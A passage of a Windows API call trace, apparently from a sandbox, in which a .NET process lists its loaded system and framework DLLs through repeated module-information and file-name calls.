lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0228.355] CoTaskMemFree (pv=0x4fb3db8) [0228.355] GetModuleInformation (in: hProcess=0x280, hModule=0x73620000, lpmodinfo=0x2408c0c, cb=0xc | out: lpmodinfo=0x2408c0c*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0228.356] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.356] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73620000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0228.356] CoTaskMemFree (pv=0x4fb3db8) [0228.356] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.356] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73620000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0228.357] CoTaskMemFree (pv=0x4fb3db8) [0228.357] GetModuleInformation (in: hProcess=0x280, hModule=0x75db0000, lpmodinfo=0x240ad54, cb=0xc | out: lpmodinfo=0x240ad54*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0228.357] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.357] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75db0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0228.357] CoTaskMemFree (pv=0x4fb3db8) [0228.357] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.357] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75db0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0228.358] CoTaskMemFree (pv=0x4fb3db8) [0228.358] GetModuleInformation (in: hProcess=0x280, hModule=0x75810000, lpmodinfo=0x240ce60, cb=0xc | out: lpmodinfo=0x240ce60*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0228.358] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.358] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75810000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0228.359] CoTaskMemFree (pv=0x4fb3db8) [0228.359] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.359] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75810000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0228.359] CoTaskMemFree (pv=0x4fb3db8) [0228.359] GetModuleInformation (in: hProcess=0x280, hModule=0x75e10000, lpmodinfo=0x240ef64, cb=0xc | out: lpmodinfo=0x240ef64*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0228.360] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.360] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75e10000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0228.360] CoTaskMemFree (pv=0x4fb3db8) [0228.360] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.360] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75e10000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0228.361] CoTaskMemFree (pv=0x4fb3db8) [0228.361] GetModuleInformation (in: hProcess=0x280, hModule=0x772c0000, lpmodinfo=0x2411070, cb=0xc | out: lpmodinfo=0x2411070*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0228.361] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.361] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x772c0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0228.362] CoTaskMemFree (pv=0x4fb3db8) [0228.362] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.362] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x772c0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0228.363] CoTaskMemFree (pv=0x4fb3db8) [0228.363] GetModuleInformation (in: hProcess=0x280, hModule=0x75a30000, lpmodinfo=0x241316c, cb=0xc | out: lpmodinfo=0x241316c*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0228.363] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.363] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75a30000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0228.364] CoTaskMemFree (pv=0x4fb3db8) [0228.364] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.364] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75a30000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0228.364] CoTaskMemFree (pv=0x4fb3db8) [0228.364] GetModuleInformation (in: hProcess=0x280, hModule=0x75ae0000, lpmodinfo=0x24152fc, cb=0xc | out: lpmodinfo=0x24152fc*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0228.365] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.365] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75ae0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0228.365] CoTaskMemFree (pv=0x4fb3db8) [0228.365] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.365] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75ae0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0228.366] CoTaskMemFree (pv=0x4fb3db8) [0228.366] GetModuleInformation (in: hProcess=0x280, hModule=0x75be0000, lpmodinfo=0x2417400, cb=0xc | out: lpmodinfo=0x2417400*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0228.366] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.366] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75be0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0228.367] CoTaskMemFree (pv=0x4fb3db8) [0228.367] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.367] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75be0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0228.367] CoTaskMemFree (pv=0x4fb3db8) [0228.367] GetModuleInformation (in: hProcess=0x280, hModule=0x73610000, lpmodinfo=0x2419504, cb=0xc | out: lpmodinfo=0x2419504*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0228.368] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.368] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73610000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0228.369] CoTaskMemFree (pv=0x4fb3db8) [0228.369] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.369] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73610000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0228.369] CoTaskMemFree (pv=0x4fb3db8) [0228.369] GetModuleInformation (in: hProcess=0x280, hModule=0x72f40000, lpmodinfo=0x241b610, cb=0xc | out: lpmodinfo=0x241b610*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0228.370] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.370] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x72f40000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0228.370] CoTaskMemFree (pv=0x4fb3db8) [0228.370] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.370] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x72f40000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0228.371] CoTaskMemFree (pv=0x4fb3db8) [0228.371] GetModuleInformation (in: hProcess=0x280, hModule=0x75540000, lpmodinfo=0x241d740, cb=0xc | out: lpmodinfo=0x241d740*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0228.371] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.371] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75540000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0228.372] CoTaskMemFree (pv=0x4fb3db8) [0228.372] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.372] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75540000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0228.373] CoTaskMemFree (pv=0x4fb3db8) [0228.373] GetModuleInformation (in: hProcess=0x280, hModule=0x74310000, lpmodinfo=0x241f874, cb=0xc | out: lpmodinfo=0x241f874*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0228.373] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.373] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x74310000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0228.374] CoTaskMemFree (pv=0x4fb3db8) [0228.374] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.374] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x74310000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0228.374] CoTaskMemFree (pv=0x4fb3db8) [0228.375] GetModuleInformation (in: hProcess=0x280, hModule=0x77060000, lpmodinfo=0x2421a1c, cb=0xc | out: lpmodinfo=0x2421a1c*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0228.375] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.375] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77060000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0228.376] CoTaskMemFree (pv=0x4fb3db8) [0228.376] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.376] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77060000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0228.377] CoTaskMemFree (pv=0x4fb3db8) [0228.377] GetModuleInformation (in: hProcess=0x280, hModule=0x73e60000, lpmodinfo=0x2423b20, cb=0xc | out: lpmodinfo=0x2423b20*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0228.377] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.377] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73e60000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0228.378] CoTaskMemFree (pv=0x4fb3db8) [0228.378] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.378] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73e60000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0228.426] CoTaskMemFree (pv=0x4fb3db8) [0228.426] GetModuleInformation (in: hProcess=0x280, hModule=0x72590000, lpmodinfo=0x2425c2c, cb=0xc | out: lpmodinfo=0x2425c2c*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0228.427] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.427] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x72590000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0228.427] CoTaskMemFree (pv=0x4fb3db8) [0228.427] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.427] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x72590000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0228.428] CoTaskMemFree (pv=0x4fb3db8) [0228.428] GetModuleInformation (in: hProcess=0x280, hModule=0x71e70000, lpmodinfo=0x2427dc8, cb=0xc | out: lpmodinfo=0x2427dc8*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0228.429] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.429] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x71e70000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0228.429] CoTaskMemFree (pv=0x4fb3db8) [0228.429] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.429] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x71e70000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0228.430] CoTaskMemFree (pv=0x4fb3db8) [0228.430] GetModuleInformation (in: hProcess=0x280, hModule=0x73c90000, lpmodinfo=0x2429f84, cb=0xc | out: lpmodinfo=0x2429f84*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0228.431] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.431] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73c90000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0228.432] CoTaskMemFree (pv=0x4fb3db8) [0228.432] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.432] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73c90000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0228.432] CoTaskMemFree (pv=0x4fb3db8) [0228.432] GetModuleInformation (in: hProcess=0x280, hModule=0x73f00000, lpmodinfo=0x242c178, cb=0xc | out: lpmodinfo=0x242c178*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0228.433] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.433] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73f00000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0228.434] CoTaskMemFree (pv=0x4fb3db8) [0228.434] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.434] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73f00000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0228.435] CoTaskMemFree (pv=0x4fb3db8) [0228.435] GetModuleInformation (in: hProcess=0x280, hModule=0x76e30000, lpmodinfo=0x242e2b8, cb=0xc | out: lpmodinfo=0x242e2b8*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0228.435] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.435] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x76e30000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0228.436] CoTaskMemFree (pv=0x4fb3db8) [0228.436] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.436] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x76e30000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0228.437] CoTaskMemFree (pv=0x4fb3db8) [0228.437] GetModuleInformation (in: hProcess=0x280, hModule=0x73b00000, lpmodinfo=0x24303cc, cb=0xc | out: lpmodinfo=0x24303cc*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0228.438] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.438] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73b00000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0228.438] CoTaskMemFree (pv=0x4fb3db8) [0228.438] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.438] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73b00000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0228.439] CoTaskMemFree (pv=0x4fb3db8) [0228.439] GetModuleInformation (in: hProcess=0x280, hModule=0x71210000, lpmodinfo=0x2432598, cb=0xc | out: lpmodinfo=0x2432598*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0228.440] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.440] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x71210000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0228.441] CoTaskMemFree (pv=0x4fb3db8) [0228.441] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.441] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x71210000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0228.442] CoTaskMemFree (pv=0x4fb3db8) [0228.442] GetModuleInformation (in: hProcess=0x280, hModule=0x73ee0000, lpmodinfo=0x2434788, cb=0xc | out: lpmodinfo=0x2434788*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0228.443] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.443] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73ee0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0228.443] CoTaskMemFree (pv=0x4fb3db8) [0228.443] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.443] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73ee0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0228.444] CoTaskMemFree (pv=0x4fb3db8) [0228.444] GetModuleInformation (in: hProcess=0x280, hModule=0x73ac0000, lpmodinfo=0x24369a0, cb=0xc | out: lpmodinfo=0x24369a0*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0228.445] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.445] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73ac0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0228.446] CoTaskMemFree (pv=0x4fb3db8) [0228.446] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.446] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73ac0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0228.447] CoTaskMemFree (pv=0x4fb3db8) [0228.447] GetModuleInformation (in: hProcess=0x280, hModule=0x73a30000, lpmodinfo=0x2438aac, cb=0xc | out: lpmodinfo=0x2438aac*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0228.447] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.447] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73a30000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0228.448] CoTaskMemFree (pv=0x4fb3db8) [0228.448] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.448] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73a30000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0228.449] CoTaskMemFree (pv=0x4fb3db8) [0228.449] GetModuleInformation (in: hProcess=0x280, hModule=0x73a10000, lpmodinfo=0x243ac74, cb=0xc | out: lpmodinfo=0x243ac74*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0228.450] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.450] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73a10000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0228.451] CoTaskMemFree (pv=0x4fb3db8) [0228.451] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.451] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73a10000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0228.452] CoTaskMemFree (pv=0x4fb3db8) [0228.452] GetModuleInformation (in: hProcess=0x280, hModule=0x73940000, lpmodinfo=0x243cdc4, cb=0xc | out: lpmodinfo=0x243cdc4*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0228.452] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.452] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73940000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0228.453] CoTaskMemFree (pv=0x4fb3db8) [0228.453] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.453] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73940000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0228.454] CoTaskMemFree (pv=0x4fb3db8) [0228.454] GetModuleInformation (in: hProcess=0x280, hModule=0x71080000, lpmodinfo=0x243efc0, cb=0xc | out: lpmodinfo=0x243efc0*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0228.455] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.455] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x71080000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0228.456] CoTaskMemFree (pv=0x4fb3db8) [0228.456] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.456] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x71080000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0228.460] CoTaskMemFree (pv=0x4fb3db8) [0228.461] GetModuleInformation (in: hProcess=0x280, hModule=0x70ee0000, lpmodinfo=0x2441170, cb=0xc | out: lpmodinfo=0x2441170*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0228.461] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.461] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x70ee0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0228.463] CoTaskMemFree (pv=0x4fb3db8) [0228.463] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.463] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x70ee0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0228.464] CoTaskMemFree (pv=0x4fb3db8) [0228.464] GetModuleInformation (in: hProcess=0x280, hModule=0x735f0000, lpmodinfo=0x2443338, cb=0xc | out: lpmodinfo=0x2443338*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0228.464] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.464] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x735f0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0228.465] CoTaskMemFree (pv=0x4fb3db8) [0228.465] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.465] GetModuleFileNameExW (in: 